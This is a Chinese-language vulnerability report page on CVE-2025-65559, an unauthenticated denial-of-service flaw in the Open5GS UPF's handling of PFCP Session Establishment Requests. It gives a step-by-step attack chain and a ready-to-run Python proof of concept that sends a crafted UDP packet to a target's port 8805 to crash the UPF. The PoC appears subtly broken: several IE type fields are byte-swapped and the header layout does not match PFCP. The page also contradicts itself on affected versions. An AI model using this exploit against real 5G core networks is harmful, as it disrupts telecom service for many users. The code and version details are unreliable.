IPBUF安全漏洞报告
English
CVE-2025-65559 CVSS 7.5 高危

CVE-2025-65559 Open5GS PFCP会话建立请求拒绝服务漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2025-65559
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Open5GS

相关标签

拒绝服务Open5GSPFCPUPF5G核心网断言失败地址族不匹配CVE-2025-65559

漏洞概述

CVE-2025-65559是Open5GS中一个高危拒绝服务漏洞,影响版本为2.7.5-49-g465e90f。该漏洞存在于PFCP(Packet Forwarding Control Protocol)会话建立处理流程中。当UPF(User Plane Function,用户平面功能)处理PFCP Session Establishment Request(类型=50)时,如果CreatePDR中的PDI包含的F-TEID(Forwarding TEID)设置了CH(Choose)标志为1,且F-TEID的地址族标志(IPv4/IPv6)与为选定DNN(Data Network Name,数据网络名称)或网络实例配置的GTP-U(GPRS Tunneling Protocol for User Plane)资源族不匹配时,会触发`lib/pfcp/context.c`中`ogs_pfcp_object_teid_hash_set`函数中的一个可到达断言(reachable assertion),导致UPF进程崩溃,从而造成拒绝服务攻击。由于该漏洞可远程触发且无需认证,攻击者可以通过构造恶意PFCP会话建立请求来使Open5GS的UPF组件不可用,影响5G核心网的正常运行。

技术细节

该漏洞的技术根源在于Open5GS的PFCP协议栈在处理会话建立请求时,对F-TEID配置验证不充分。具体来说,当PFCP Session Establishment Request消息中的Create PDR(Packet Detection Rule)> PDI(Packet Detection Information)> F-TEID元素设置了CH标志为1时,UPF需要根据CH标志选择合适的F-TEID配置。然而,代码中存在断言检查,如果F-TEID的地址族(通过IPv4和IPv6标志位指示)与为该DNN/网络实例配置的GTP-U资源地址族不匹配,则触发`ogs_pfcp_object_teid_hash_set`函数中的断言失败。攻击者可以通过发送精心构造的PFCP消息,设置CH=1的F-TEID,同时使地址族与实际配置不匹配(如配置要求IPv6但发送IPv4标志),从而触发断言导致UPF崩溃。该漏洞位于`lib/pfcp/context.c`文件,属于5G核心网用户平面关键组件,影响电信网络的可用性。

攻击链分析

STEP 1
步骤1
攻击者识别目标Open5GS部署,并确定UPF组件的PFCP监听端口(默认8805)
STEP 2
步骤2
攻击者构造恶意的PFCP Session Establishment Request消息,设置Message Type为50
STEP 3
步骤3
在CreatePDR的PDI中包含F-TEID IE,设置CH(Choose)标志为1,并设置与目标DNN配置的GTP-U资源族不匹配的地址族标志
STEP 4
步骤4
攻击者通过UDP发送精心构造的PFCP消息到UPF,无需任何认证
STEP 5
步骤5
UPF在处理该消息时,调用ogs_pfcp_object_teid_hash_set函数,由于地址族不匹配且CH=1,触发断言失败
STEP 6
步骤6
UPF进程崩溃,导致用户平面功能中断,造成拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket import struct # PFCP Header Structure # Version (3 bits) | Flags (3 bits) | Message Type (8 bits) | Length (32 bits) def build_pfcp_header(msg_type, length, sequence=1): version_flags = (1 << 5) | (0 << 4) | (0 << 3) # Version=1, S=0, MP=0 header = struct.pack('!BBHI', version_flags, msg_type, length, sequence) return header def build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=0, teid=0, ipv4_addr='10.0.0.1'): # F-TEID IE: Type=84, Length variable ie_type = 84 flags = (1 << 7) | (ipv4_flag << 5) | (ipv6_flag << 4) # CH=1, V6, V4 flags if ipv4_flag: addr_bytes = socket.inet_aton(ipv4_addr) elif ipv6_flag: addr_bytes = socket.inet_pton(socket.AF_INET6, '::1') else: addr_bytes = b'' # F-TEID structure: Flags(1) + TEID(4) + Choose ID(4) + IPv4(4) or IPv6(16) f_teid_data = bytes([flags]) + struct.pack('!I', teid) + struct.pack('!I', choose_id) + addr_bytes ie_data = struct.pack('!HH', ie_type, len(f_teid_data)) + f_teid_data return ie_data def build_create_pdr_with_mismatched_teid(): # Create PDR IE: Type=1 pdr_ie_type = 1 # PDI IE: Type=2 pdi_ie_type = 2 # Build F-TEID with CH=1 but mismatched address family # Set CH=1, IPv4 flag=1, but the DNN expects IPv6 - triggers assertion f_teid_ie = build_f_teid_with_ch(ipv4_flag=1, ipv6_flag=0, choose_id=1, ipv4_addr='192.168.1.1') pdi_content = f_teid_ie pdi_ie = struct.pack('!HH', pdi_ie_type, len(pdi_content)) + pdi_content pdr_content = pdi_ie pdr_ie = struct.pack('!HH', pdr_ie_type, len(pdr_content)) + pdr_content return pdr_ie def exploit_cve_2025_65559(target_ip, target_port=8805): """ PoC for CVE-2025-65559: Open5GS UPF crash via PFCP Session Establishment Sends a malicious PFCP Session Establishment Request with mismatched F-TEID """ # PFCP Session Establishment Request (Type=50) msg_type = 50 # Build Create PDR with PDI containing mismatched F-TEID create_pdr = build_create_pdr_with_mismatched_teid() # Node ID IE: Type=132 node_id = b'\x84\x00\x00\x0b' + b'\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1') # F-SEID IE: Type=19 (for SEID establishment) f_seid = b'\x13\x00\x00\x09' + b'\x00\x00\x00\x00\x00\x00\x00\x01' + socket.inet_aton('127.0.0.1') # Combine all IEs ie_data = create_pdr + node_id + f_seid # Build PFCP header with total length total_length = len(ie_data) + 4 # +4 for SEID header = build_pfcp_header(msg_type, total_length) # Full message message = header + ie_data # Send to UPF sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.sendto(message, (target_ip, target_port)) print(f'[+] Sent malicious PFCP Session Establishment Request to {target_ip}:{target_port}') print(f'[+] Payload length: {len(message)} bytes') print('[+] Expected result: UPF assertion failure and crash') sock.close() if __name__ == '__main__': import sys target = sys.argv[1] if len(sys.argv) > 1 else '127.0.0.1' exploit_cve_2025_65559(target)

影响范围

Open5GS < 2.7.5-49-g465e90f

防御指南

临时缓解措施
在官方补丁发布前,可以通过网络层访问控制限制PFCP端口(8805)的访问,仅允许可信的SMF(Session Management Function)组件连接。同时部署UPF进程监控脚本,当检测到进程异常终止时自动重启,以减少服务中断时间。此外,可以考虑在UPF前部署负载均衡器,将异常请求分散到多个UPF实例,提高系统韧性。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表